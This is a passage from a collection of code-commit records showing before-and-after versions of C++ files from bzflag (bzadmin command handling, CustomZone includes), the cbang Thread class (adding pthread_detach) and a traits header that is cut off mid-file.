i < invisibleMsgs.size(); ++i)\n    client.ignoreMessageType(invisibleMsgs[i]);\n\n  \/\/ if we got commands as arguments, send them and exit\n  if (op.getParameters().size() > 1) {\n    for (unsigned int i = 1; i < op.getParameters().size(); ++i)\n      client.sendMessage(op.getParameters()[i], AllPlayers);\n      \n    if (earlyQuit) {\n      client.waitForServer();\n      return 0;\n    }\n  }\n\n  \/\/ Print a friendly warning\n  if (earlyQuit)\n    std::cout << \"WARNING: didn't quit early, no command line commands\" << std::endl;\n\n  \/\/ create UI and run the main loop\n  BZAdminUI*  ui = uiIter->second(client);\n  client.setUI(ui);\n  client.runLoop();\n  delete ui;\n\n  return 0;\n}\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<commit_msg>removed the C hack, just use \/quit to leave early<commit_after>\/* bzflag\n * Copyright (c) 1993 - 2004 Tim Riker\n *\n * This package is free software;  you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n#ifdef _MSC_VER\n#pragma warning( 4: 4786)\n#endif\n\n#include <stdio.h>\n#include <iostream>\n#include <map>\n#include <string>\n\n#include \"BZAdminClient.h\"\n#include \"BZAdminUI.h\"\n#include \"OptionParser.h\"\n#include \"UIMap.h\"\n\n\/\/ causes persistent rebuilding to obtain build versioning\n#include \"version.h\"\n\nint debugLevel = 0;\n\n\n#ifdef _WIN32\nvoid Player::setDeadReckoning()\n{\n}\n#endif\n\/** @file\n    This is the main file for bzadmin, the bzflag text client.\n*\/\n\n\nint main(int argc, char** argv) {\n\n#ifdef _WIN32\n  \/\/ startup winsock\n  {\n    static const int major = 2, minor = 2;\n    WSADATA wsaData;\n    if (WSAStartup(MAKEWORD(major, minor), &wsaData)) {\n      return 1;\n    }\n    if (LOBYTE(wsaData.wVersion) != major ||\n\tHIBYTE(wsaData.wVersion) != minor) {\n      WSACleanup();\n      return 1;\n    }\n  }\n#endif\n  \/\/ command line options\n  std::string uiName(\"curses\");\n  std::vector<std::string> visibleMsgs;\n  std::vector<std::string> invisibleMsgs;\n  \n  \/\/ no curses, use stdboth as default instead\n  const UIMap& interfaces = UIMap::instance();\n  if (interfaces.find(\"curses\") == interfaces.end())\n    uiName = \"stdboth\";\n\n  \/\/ build a usage string with all interfaces\n  UIMap::const_iterator uiIter;\n  std::string uiUsage;\n  for (uiIter = interfaces.begin(); uiIter != interfaces.end(); ++uiIter)\n    uiUsage += uiIter->first + '|';\n  uiUsage = std::string(\"[-ui \") + uiUsage.substr(0, uiUsage.size() - 1) + ']';\n\n  \/\/ register and parse command line arguments\n  OptionParser op(std::string(\"bzadmin \") + getAppVersion(),\n\t\t  \"CALLSIGN@HOST[:PORT] [COMMAND] [COMMAND] ...\");\n  const std::string uiOption(\"ui\");\n  const std::string uiMsg = \"choose a user interface\";\n  op.registerVariable(uiOption, uiName, uiUsage, uiMsg);\n  op.registerVector(\"show\", visibleMsgs, \"[-show msgtype{,msgtype}*]\",\n\t\t      \"tell bzadmin to show these message types\");\n  op.registerVector(\"hide\", invisibleMsgs, \"[-hide msgtype{,msgtype}*]\",\n\t\t      \"tell bzadmin not to show these message types\");\n  if (!op.parse(argc, argv))\n    return 1;\n  \n  \/\/ check that we have callsign and host in the right format and extract them\n  int atPos;\n  std::string name = \"\", host = \"\";\n  if (!(op.getParameters().size() > 0 &&\n\t(atPos = op.getParameters()[0].find('@')) > 0)) {\n    \/\/ input callsign and host interactively\n    std::cout << \"No callsign@host specified.  Please input them\" << std::endl;\n    std::cout << \"Callsign: \";\n    std::cin >> name;\n    if (name.size() <= 1) {\n      std::cerr << \"You must specify a callsign.  Exiting.\" << std::endl;\n      return 1;\n    }\n    std::cout << \"Server to connect to: \";\n    std::cin >> host;\n    if (host.size() <= 1) {\n      std::cerr << \"You must specify a host name to connect to.  Exiting.\" << std::endl;\n      return 1;\n    }\n  } else { \/\/ callsign\/host on command line\n    name = op.getParameters()[0].substr(0, atPos);\n    host = op.getParameters()[0].substr(atPos + 1);\n  }\n  \n  int port = ServerPort;\n  int cPos = host.find(':');\n  if (cPos != -1) {\n    port = atoi(host.substr(cPos + 1).c_str());\n    host = host.substr(0, cPos);\n  }\n\n  \/\/ check that the ui is valid\n  uiIter = UIMap::instance().find(uiName);\n  if (uiIter == UIMap::instance().end()) {\n    std::cerr<<\"There is no interface called \\\"\"<<uiName<<\"\\\".\"<<std::endl;\n    return 1;\n  }\n\n  \/\/ try to connect\n  BZAdminClient client(name, host, port);\n  if (!client.isValid())\n    return 1;\n  unsigned int i;\n  for (i = 0; i < visibleMsgs.size(); ++i)\n    client.showMessageType(visibleMsgs[i]);\n  for (i = 0; i < invisibleMsgs.size(); ++i)\n    client.ignoreMessageType(invisibleMsgs[i]);\n\n  \/\/ if we got commands as arguments, send them and exit\n  if (op.getParameters().size() > 1) {\n    for (unsigned int i = 1; i < op.getParameters().size(); ++i) {\n      if (op.getParameters()[i] == \"\/quit\") {\n        client.waitForServer();\n        return 0;\n      }\n      client.sendMessage(op.getParameters()[i], AllPlayers);\n    }\n  }\n\n  \/\/ create UI and run the main loop\n  BZAdminUI*  ui = uiIter->second(client);\n  client.setUI(ui);\n  client.runLoop();\n  delete ui;\n\n  return 0;\n}\n\n\/\/ Local Variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<|endoftext|>"}
{"text":"<commit_before>\/* bzflag\n * Copyright (c) 1993 - 2004 Tim Riker\n *\n * This package is free software;  you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/* interface header *\/\n#include \"common.h\"\n#include \"CustomZone.h\"\n\n\/* system headers *\/\n#include <sstream>\n#include \"math.h\"\n\n\/* local implementation headers *\/\n#include \"EntryZones.h\"\n#include \"Flag.h\"\n#include \"Team.h\"\n\nCustomZone::CustomZone()\n{\n  pos[0] = pos[1] = pos[2] = 0.0f;\n  rotation = 0.0f;\n  size[0] = size[1] = size[2] = 1.0f;\n}\n\n\nbool CustomZone::read(const char *cmd, std::istream& input) {\n  if (strcmp(cmd, \"flag\") == 0) {\n    std::string args, flag;\n\n    std::getline(input, args);\n    std::istringstream  parms(args);\n\n    while (parms >> flag) {\n      FlagType *type;\n      \n      if (flag == \"good\") {\n        FlagSet &fs = Flag::getGoodFlags();\n\tfor (FlagSet::iterator it = fs.begin(); it != fs.end(); ++it) {\n\t  FlagType *f = *it;\n\t  if (f->endurance != FlagNormal) { \/\/ Null and Team flags\n\t    qualifiers.push_back(f->flagAbbv);\n\t  }\n\t}\n      }\n      else if (flag == \"bad\") {\n\tFlagSet &fs = Flag::getBadFlags();\n\tfor (FlagSet::iterator it = fs.begin(); it != fs.end(); ++it) {\n\t  FlagType *f = *it;\n\t  if (f->endurance != FlagNormal) { \/\/ Null and Team flags\n\t    qualifiers.push_back(f->flagAbbv);\n\t  }\n\t}\n      }\n      else {\n        type = Flag::getDescFromAbbreviation(flag.c_str());\n        if (type == Flags::Null)\n          return false;\n        qualifiers.push_back(flag);\n      }\n    }\n    input.putback('\\n');\n    if (qualifiers.size() == 0)\n      return false;\n  }\n  else if ((strcmp(cmd, \"team\") == 0) || (strcmp(cmd, \"safety\") == 0)) {\n    std::string args;\n    int color;\n\n    std::getline(input, args);\n    std::istringstream  parms(args);\n\n    while (parms >> color) {\n      if ((color < 0) || (color >= CtfTeams))\n        return false;\n      std::string qual = std::string(Team::getName((TeamColor)color));\n      if (strcmp(cmd, \"safety\") == 0) {\n        qual = EntryZones::getSafetyPrefix() + qual;\n      }\n      qualifiers.push_back(qual);\n    }\n    input.putback('\\n');\n    if (qualifiers.size() == 0)\n      return false;\n  }\n  else if (!WorldFileLocation::read(cmd, input))\n      return false;\n\n  return true;\n}\n\n\nvoid CustomZone::write(WorldInfo* worldInfo) const \n{\n  worldInfo->addZone( this );\n}\n\nvoid CustomZone::getRandomPoint(float *pt) const\n{\n  float x = (float)((bzfrand() * (2.0f * size[0])) - size[0]);\n  float y = (float)((bzfrand() * (2.0f * size[1])) - size[1]);\n  pt[2] = (float)(bzfrand() * size[2]);\n\n  pt[0] = x * cosf(rotation) - y * sinf(rotation);\n  pt[1] = x * sinf(rotation) + y * cosf(rotation);\n\n  pt[0] += pos[0];\n  pt[1] += pos[1];\n  pt[2] += pos[2];\n}\n\nfloat CustomZone::getDistToPoint (const float *_pos) const\n{\n  \/\/ FIXME - should use proper minimum distance from\n  \/\/ the zone edge, and maybe -1.0f if its inside the zone\n  float v[3], dist;\n  v[0] = _pos[0] - pos[0];\n  v[1] = _pos[1] - pos[1];\n  v[2] = _pos[2] - pos[2];\n  dist = sqrtf (v[0]*v[0] + v[1]*v[1] + v[2]*v[2]);\n  \n  return dist;\n}\n\n\/\/ Local variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<commit_msg>math.h isn't a bzflag file.<commit_after>\/* bzflag\n * Copyright (c) 1993 - 2004 Tim Riker\n *\n * This package is free software;  you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named COPYING that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/* interface header *\/\n#include \"CustomZone.h\"\n#include \"common.h\"\n\n\/* system headers *\/\n#include <sstream>\n#include <math.h>\n\n\/* local implementation headers *\/\n#include \"EntryZones.h\"\n#include \"Flag.h\"\n#include \"Team.h\"\n\nCustomZone::CustomZone()\n{\n  pos[0] = pos[1] = pos[2] = 0.0f;\n  rotation = 0.0f;\n  size[0] = size[1] = size[2] = 1.0f;\n}\n\n\nbool CustomZone::read(const char *cmd, std::istream& input) {\n  if (strcmp(cmd, \"flag\") == 0) {\n    std::string args, flag;\n\n    std::getline(input, args);\n    std::istringstream  parms(args);\n\n    while (parms >> flag) {\n      FlagType *type;\n      \n      if (flag == \"good\") {\n        FlagSet &fs = Flag::getGoodFlags();\n\tfor (FlagSet::iterator it = fs.begin(); it != fs.end(); ++it) {\n\t  FlagType *f = *it;\n\t  if (f->endurance != FlagNormal) { \/\/ Null and Team flags\n\t    qualifiers.push_back(f->flagAbbv);\n\t  }\n\t}\n      }\n      else if (flag == \"bad\") {\n\tFlagSet &fs = Flag::getBadFlags();\n\tfor (FlagSet::iterator it = fs.begin(); it != fs.end(); ++it) {\n\t  FlagType *f = *it;\n\t  if (f->endurance != FlagNormal) { \/\/ Null and Team flags\n\t    qualifiers.push_back(f->flagAbbv);\n\t  }\n\t}\n      }\n      else {\n        type = Flag::getDescFromAbbreviation(flag.c_str());\n        if (type == Flags::Null)\n          return false;\n        qualifiers.push_back(flag);\n      }\n    }\n    input.putback('\\n');\n    if (qualifiers.size() == 0)\n      return false;\n  }\n  else if ((strcmp(cmd, \"team\") == 0) || (strcmp(cmd, \"safety\") == 0)) {\n    std::string args;\n    int color;\n\n    std::getline(input, args);\n    std::istringstream  parms(args);\n\n    while (parms >> color) {\n      if ((color < 0) || (color >= CtfTeams))\n        return false;\n      std::string qual = std::string(Team::getName((TeamColor)color));\n      if (strcmp(cmd, \"safety\") == 0) {\n        qual = EntryZones::getSafetyPrefix() + qual;\n      }\n      qualifiers.push_back(qual);\n    }\n    input.putback('\\n');\n    if (qualifiers.size() == 0)\n      return false;\n  }\n  else if (!WorldFileLocation::read(cmd, input))\n      return false;\n\n  return true;\n}\n\n\nvoid CustomZone::write(WorldInfo* worldInfo) const \n{\n  worldInfo->addZone( this );\n}\n\nvoid CustomZone::getRandomPoint(float *pt) const\n{\n  float x = (float)((bzfrand() * (2.0f * size[0])) - size[0]);\n  float y = (float)((bzfrand() * (2.0f * size[1])) - size[1]);\n  pt[2] = (float)(bzfrand() * size[2]);\n\n  pt[0] = x * cosf(rotation) - y * sinf(rotation);\n  pt[1] = x * sinf(rotation) + y * cosf(rotation);\n\n  pt[0] += pos[0];\n  pt[1] += pos[1];\n  pt[2] += pos[2];\n}\n\nfloat CustomZone::getDistToPoint (const float *_pos) const\n{\n  \/\/ FIXME - should use proper minimum distance from\n  \/\/ the zone edge, and maybe -1.0f if its inside the zone\n  float v[3], dist;\n  v[0] = _pos[0] - pos[0];\n  v[1] = _pos[1] - pos[1];\n  v[2] = _pos[2] - pos[2];\n  dist = sqrtf (v[0]*v[0] + v[1]*v[1] + v[2]*v[2]);\n  \n  return dist;\n}\n\n\/\/ Local variables: ***\n\/\/ mode:C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\\\n\n          This file is part of the C! library.  A.K.A the cbang library.\n\n              Copyright (c) 2003-2015, Cauldron Development LLC\n                 Copyright (c) 2003-2015, Stanford University\n                             All rights reserved.\n\n        The C! library is free software: you can redistribute it and\/or\n        modify it under the terms of the GNU Lesser General Public License\n        as published by the Free Software Foundation, either version 2.1 of\n        the License, or (at your option) any later version.\n\n        The C! library is distributed in the hope that it will be useful,\n        but WITHOUT ANY WARRANTY; without even the implied warranty of\n        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n        Lesser General Public License for more details.\n\n        You should have received a copy of the GNU Lesser General Public\n        License along with the C! library.  If not, see\n        <http:\/\/www.gnu.org\/licenses\/>.\n\n        In addition, BSD licensing may be granted on a case by case basis\n        by written permission from at least one of the copyright holders.\n        You may request written permission by emailing the authors.\n\n                For information regarding this software email:\n                               Joseph Coffland\n                        joseph@cauldrondevelopment.com\n\n\\******************************************************************************\/\n\n#include \"Thread.h\"\n\n#include \"ThreadLocalStorage.h\"\n#include \"SysError.h\"\n#include \"SystemUtilities.h\"\n\n#include <cbang\/Exception.h>\n\n#include <cbang\/util\/DefaultCatch.h>\n#include <cbang\/log\/Logger.h>\n#include <cbang\/debug\/Debugger.h>\n\n#include <exception>\n\n#ifdef _WIN32\n#define WINDOWS_LEAN_AND_MEAN\n#include <windows.h>\n\n#else \/\/ pthreads\n#include <signal.h>\n#include <pthread.h>\n#include <errno.h>\n#endif\n\n#ifdef __APPLE__\n#include <sched.h>\n#endif \/\/ __APPLE__\n\n#ifdef HAVE_VALGRIND\n#include <valgrind\/drd.h>\n#include <valgrind\/helgrind.h>\n#endif\n\nusing namespace std;\nusing namespace cb;\n\nnamespace cb {\n  struct Thread::private_t {\n#ifdef _WIN32\n    HANDLE h;\n    DWORD id;\n\n#else \/\/ pthreads\n    pthread_t thread;\n#endif\n  };\n};\n\n\n#ifdef _WIN32\nstatic DWORD WINAPI start_func(LPVOID t) {\n  ((Thread *)t)->starter();\n  return 0;\n}\n\n#else \/\/ pthreads\nstatic void *start_func(void *t) {\n  ((Thread *)t)->starter();\n  return 0;\n}\n#endif\n\nThreadLocalStorage<Thread *> Thread::threads;\n\n\nThread::Thread(bool destroy) :\n  p(new Thread::private_t), state(THREAD_STOPPED), shutdown(false),\n  destroy(destroy), id(getNextID()), exitStatus(0) {\n\n  threads.set(this);\n\n#ifdef HAVE_VALGRIND\n  VALGRIND_HG_DISABLE_CHECKING(state, sizeof(state));\n  DRD_IGNORE_VAR((const state_t &)state);\n  VALGRIND_HG_DISABLE_CHECKING(shutdown, sizeof(shutdown));\n  DRD_IGNORE_VAR((const bool &)shutdown);\n#endif \/\/ HAVE_VALGRIND\n}\n\n\nThread::~Thread() {\n  if (state != THREAD_STOPPED)\n    LOG_ERROR(Exception(SSTR(\"Thread \" << getID()\n                             << \" deallocated while still active\")));\n\n  if (p) {\n    delete p;\n    p = 0;\n  }\n}\n\n\nbool Thread::isRunning() const {\n  return state == THREAD_STARTING || state == THREAD_RUNNING;\n}\n\n\nvoid Thread::start() {\n  if (state != THREAD_STOPPED) join();\n\n  state = THREAD_STARTING;\n  exitStatus = 0;\n  shutdown = false;\n\n#ifdef _WIN32\n  p->h = CreateThread(0, 0, start_func, this, 0, &p->id);\n  int error = !p->h;\n\n#else \/\/ pthreads\n  int error = pthread_create(&p->thread, 0, start_func, this);\n#endif\n\n  if (error) {\n    state = THREAD_STOPPED;\n\n    string msg = \"Unknown error\";\n\n#ifdef _WIN32\n    msg = SysError().toString();\n\n#else\n    switch (error) {\n    case EAGAIN: msg = \"Insufficient resources\"; break;\n    case EINVAL: msg = \"Invalid setting\"; break;\n    case EPERM: msg = \"Permission denied\"; break;\n    }\n#endif\n\n    THROWS(\"Error creating thread: \" << msg);\n  }\n}\n\n\nvoid Thread::stop() {\n  shutdown = true;\n}\n\n\nvoid Thread::join() {\n  if (state == THREAD_STOPPED) return;\n\n  if (!shutdown) stop();\n  wait();\n}\n\n\nvoid Thread::wait() {\n  if (state == THREAD_STOPPED) return;\n\n#ifdef _WIN32\n  WaitForSingleObject(p->h, INFINITE);\n  CloseHandle(p->h);\n\n#else \/\/ pthreads\n  pthread_join(p->thread, 0);\n#endif\n\n  state = THREAD_STOPPED;\n}\n\n\nvoid Thread::cancel() {\n  stop();\n\n#ifdef _WIN32\n  if (TerminateThread(p->h, 0)) state = THREAD_DONE;\n\n#else \/\/ pthreads\n  if (pthread_cancel(p->thread) == 0) state = THREAD_DONE;\n#endif\n}\n\n\nvoid Thread::kill(int signal) {\n#ifdef _WIN32\n  TerminateThread(p->h, -1);\n#else\n  pthread_kill(p->thread, signal);\n#endif\n}\n\n\nvoid Thread::yield() {\n#ifdef _WIN32\n  SwitchToThread();\n#elif defined(__APPLE__)\n  sched_yield();\n#else\n  pthread_yield();\n#endif\n}\n\n\nuint64_t Thread::self() {\n#ifdef _WIN32\n  return (uint64_t)GetCurrentThreadId();\n#else\n  return (uint64_t)pthread_self();\n#endif\n}\n\n\nThread &Thread::current() {\n  return *threads.get();\n}\n\n\nvoid Thread::starter() {\n  state = THREAD_RUNNING;\n\n  try {\n    Logger::instance().setThreadID(getID());\n    LOG_INFO(5, \"Started thread \" << getID() << \" on PID \"\n             << SystemUtilities::getPID());\n    run();\n    done();\n    return;\n\n  } CATCH(LOG_ERROR_LEVEL, \": In thread \" << id);\n\n  exitStatus = -1;\n  done();\n}\n\n\nvoid Thread::done() {\n  state = THREAD_DONE;\n\n  if (destroy) {\n    state = THREAD_STOPPED;\n\n#ifdef _WIN32\n    CloseHandle(p->h);\n#endif\n\n    try {\n      delete this;\n    } CATCH_ERROR;\n  }\n}\n<commit_msg>Posix thread which destroys itself must call pthread_detach()<commit_after>\/******************************************************************************\\\n\n          This file is part of the C! library.  A.K.A the cbang library.\n\n              Copyright (c) 2003-2015, Cauldron Development LLC\n                 Copyright (c) 2003-2015, Stanford University\n                             All rights reserved.\n\n        The C! library is free software: you can redistribute it and\/or\n        modify it under the terms of the GNU Lesser General Public License\n        as published by the Free Software Foundation, either version 2.1 of\n        the License, or (at your option) any later version.\n\n        The C! library is distributed in the hope that it will be useful,\n        but WITHOUT ANY WARRANTY; without even the implied warranty of\n        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n        Lesser General Public License for more details.\n\n        You should have received a copy of the GNU Lesser General Public\n        License along with the C! library.  If not, see\n        <http:\/\/www.gnu.org\/licenses\/>.\n\n        In addition, BSD licensing may be granted on a case by case basis\n        by written permission from at least one of the copyright holders.\n        You may request written permission by emailing the authors.\n\n                For information regarding this software email:\n                               Joseph Coffland\n                        joseph@cauldrondevelopment.com\n\n\\******************************************************************************\/\n\n#include \"Thread.h\"\n\n#include \"ThreadLocalStorage.h\"\n#include \"SysError.h\"\n#include \"SystemUtilities.h\"\n\n#include <cbang\/Exception.h>\n\n#include <cbang\/util\/DefaultCatch.h>\n#include <cbang\/log\/Logger.h>\n#include <cbang\/debug\/Debugger.h>\n\n#include <exception>\n\n#ifdef _WIN32\n#define WINDOWS_LEAN_AND_MEAN\n#include <windows.h>\n\n#else \/\/ pthreads\n#include <signal.h>\n#include <pthread.h>\n#include <errno.h>\n#endif\n\n#ifdef __APPLE__\n#include <sched.h>\n#endif \/\/ __APPLE__\n\n#ifdef HAVE_VALGRIND\n#include <valgrind\/drd.h>\n#include <valgrind\/helgrind.h>\n#endif\n\nusing namespace std;\nusing namespace cb;\n\nnamespace cb {\n  struct Thread::private_t {\n#ifdef _WIN32\n    HANDLE h;\n    DWORD id;\n\n#else \/\/ pthreads\n    pthread_t thread;\n#endif\n  };\n};\n\n\n#ifdef _WIN32\nstatic DWORD WINAPI start_func(LPVOID t) {\n  ((Thread *)t)->starter();\n  return 0;\n}\n\n#else \/\/ pthreads\nstatic void *start_func(void *t) {\n  ((Thread *)t)->starter();\n  return 0;\n}\n#endif\n\nThreadLocalStorage<Thread *> Thread::threads;\n\n\nThread::Thread(bool destroy) :\n  p(new Thread::private_t), state(THREAD_STOPPED), shutdown(false),\n  destroy(destroy), id(getNextID()), exitStatus(0) {\n\n  threads.set(this);\n\n#ifdef HAVE_VALGRIND\n  VALGRIND_HG_DISABLE_CHECKING(state, sizeof(state));\n  DRD_IGNORE_VAR((const state_t &)state);\n  VALGRIND_HG_DISABLE_CHECKING(shutdown, sizeof(shutdown));\n  DRD_IGNORE_VAR((const bool &)shutdown);\n#endif \/\/ HAVE_VALGRIND\n}\n\n\nThread::~Thread() {\n  if (state != THREAD_STOPPED)\n    LOG_ERROR(Exception(SSTR(\"Thread \" << getID()\n                             << \" deallocated while still active\")));\n\n  if (p) {\n    delete p;\n    p = 0;\n  }\n}\n\n\nbool Thread::isRunning() const {\n  return state == THREAD_STARTING || state == THREAD_RUNNING;\n}\n\n\nvoid Thread::start() {\n  if (state != THREAD_STOPPED) join();\n\n  state = THREAD_STARTING;\n  exitStatus = 0;\n  shutdown = false;\n\n#ifdef _WIN32\n  p->h = CreateThread(0, 0, start_func, this, 0, &p->id);\n  int error = !p->h;\n\n#else \/\/ pthreads\n  int error = pthread_create(&p->thread, 0, start_func, this);\n#endif\n\n  if (error) {\n    state = THREAD_STOPPED;\n\n    string msg = \"Unknown error\";\n\n#ifdef _WIN32\n    msg = SysError().toString();\n\n#else\n    switch (error) {\n    case EAGAIN: msg = \"Insufficient resources\"; break;\n    case EINVAL: msg = \"Invalid setting\"; break;\n    case EPERM: msg = \"Permission denied\"; break;\n    }\n#endif\n\n    THROWS(\"Error creating thread: \" << msg);\n  }\n}\n\n\nvoid Thread::stop() {\n  shutdown = true;\n}\n\n\nvoid Thread::join() {\n  if (state == THREAD_STOPPED) return;\n\n  if (!shutdown) stop();\n  wait();\n}\n\n\nvoid Thread::wait() {\n  if (state == THREAD_STOPPED) return;\n\n#ifdef _WIN32\n  WaitForSingleObject(p->h, INFINITE);\n  CloseHandle(p->h);\n\n#else \/\/ pthreads\n  pthread_join(p->thread, 0);\n#endif\n\n  state = THREAD_STOPPED;\n}\n\n\nvoid Thread::cancel() {\n  stop();\n\n#ifdef _WIN32\n  if (TerminateThread(p->h, 0)) state = THREAD_DONE;\n\n#else \/\/ pthreads\n  if (pthread_cancel(p->thread) == 0) state = THREAD_DONE;\n#endif\n}\n\n\nvoid Thread::kill(int signal) {\n#ifdef _WIN32\n  TerminateThread(p->h, -1);\n#else\n  pthread_kill(p->thread, signal);\n#endif\n}\n\n\nvoid Thread::yield() {\n#ifdef _WIN32\n  SwitchToThread();\n#elif defined(__APPLE__)\n  sched_yield();\n#else\n  pthread_yield();\n#endif\n}\n\n\nuint64_t Thread::self() {\n#ifdef _WIN32\n  return (uint64_t)GetCurrentThreadId();\n#else\n  return (uint64_t)pthread_self();\n#endif\n}\n\n\nThread &Thread::current() {\n  return *threads.get();\n}\n\n\nvoid Thread::starter() {\n  state = THREAD_RUNNING;\n\n  try {\n    Logger::instance().setThreadID(getID());\n    LOG_INFO(5, \"Started thread \" << getID() << \" on PID \"\n             << SystemUtilities::getPID());\n    run();\n    done();\n    return;\n\n  } CATCH(LOG_ERROR_LEVEL, \": In thread \" << id);\n\n  exitStatus = -1;\n  done();\n}\n\n\nvoid Thread::done() {\n  state = THREAD_DONE;\n\n  if (destroy) {\n    state = THREAD_STOPPED;\n\n#ifdef _WIN32\n    CloseHandle(p->h);\n#else\n    pthread_detach(p->thread);\n#endif\n\n    try {\n      delete this;\n    } CATCH_ERROR;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\/*\n* Covariant Mozart Utility Library: Traits\n*\n* This program is free software: you can redistribute it and\/or modify\n* it under the terms of the GNU General Public License as published by\n* the Free Software Foundation, either version 3 of the License, or\n* any later version.\n*\n* This program is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU General Public License for more details.\n*\n* You should have received a copy of the GNU General Public License\n* along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\n* Copyright (C) 2016 Michael Lee(李登淳)\n* Email: China-LDC@outlook.com\n* Github: https:\/\/github.com\/mikecovlee\n* Website: http:\/\/ldc.atd3.cn\n*\n* Version: 17.2.0\n*\/\n#include <utility>\nnamespace cov {\n\ttemplate < typename T, typename X > struct is_same_type {\n\t\tstatic constexpr bool value=false;\n\t};\n\ttemplate < typename T > struct is_same_type<T,T> {\n\t\tstatic constexpr bool value=true;\n\t};\n\ttemplate < typename T > struct is_constant {\n\t\tstatic constexpr bool value=false;\n\t};\n\ttemplate < typename T > struct is_constant<T const> {\n\t\tstatic constexpr bool value=true;\n\t};\n\ttemplate < typename _Tp > struct add_reference {\n\t\ttypedef _Tp& type;\n\t};\n\ttemplate < typename _Tp > struct add_reference<_Tp&> {\n\t\ttypedef _Tp& type;\n\t};\n\ttemplate < typename _Tp > struct add_reference<_Tp&&> {\n\t\ttypedef _Tp&& type;\n\t};\n\ttemplate < typename _Tp > struct add_reference<_Tp*> {\n\t\ttypedef _Tp* type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference {\n\t\ttypedef const _Tp& type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<_Tp&> {\n\t\ttypedef const _Tp& type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<const _Tp&> {\n\t\ttypedef const _Tp& type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<_Tp&&> {\n\t\ttypedef const _Tp&& type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<const _Tp&&> {\n\t\ttypedef const _Tp&& type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<_Tp*> {\n\t\ttypedef _Tp* type;\n\t};\n\ttemplate < typename _Tp > struct add_constant_reference<const _Tp*> {\n\t\ttypedef const _Tp* type;\n\t};\n\ttemplate<bool factor,typename Tx,typename Ty>struct replace_if;\n\ttemplate<typename Tx,typename Ty>struct replace_if<true,Tx,Ty> {\n\t\tusing result=Ty;\n\t};\n\ttemplate<typename Tx,typename Ty>struct replace_if<false,Tx,Ty> {\n\t\tusing result=Tx;\n\t};\n\ttemplate<typename _Tp,typename _dT>\n\tclass castable final {\n\t\ttemplate<typename T>static constexpr bool helper(T*)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\ttemplate<typename T>static constexpr bool helper(decltype(static_cast<_Tp>(std::declval<T>()))*)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\tpublic:\n\t\tstatic constexpr bool value=helper<_dT>(nullptr);\n\t};\n}<commit_msg>完善cov::castable<commit_after>#pragma once\n\/*\n* Covariant Mozart Utility Library: Traits\n*\n* This program is free software: you can redistribute it and\/or modify\n* it under the terms of the GNU General Public License as published by\n* the Free Software Foundation, either version 3 of the License, or\n* any later version.\n*\n* This program is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU General Public License for more details.\n*\n* You should have received a copy of the GNU General Public License\n* along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\n* Copyright (C) 2016 Michael Lee(李登淳)\n* Email: China-LDC@outlook.com\n* Github: https:\/\/github.com\/mikecovlee\n* Website: http:\/\/ldc.atd3.cn\n*\n* Version: 17.2.0\n*\/\n#include <utility>\nnamespace cov {\n\ttemplate < typename T, typename X > struct is_same_type {\n\t\tstatic constexpr bool value=false;\n\t};\n\ttemplate < typename T > struct is_same_type<T,T> {\n\t\tstatic constexpr bool value=true;\n\t};\n\ttemplate < typename T > struct is_constant {\n\t\tstatic constexpr bool value=false;\n\t};\n\ttemplate < typename T > struct is_constant<T const> {\n\t\tstatic constexpr bool value=true;\n\t};\n\ttemplate < typename _Tp > struct add_reference {\n\t\ttypedef _Tp& 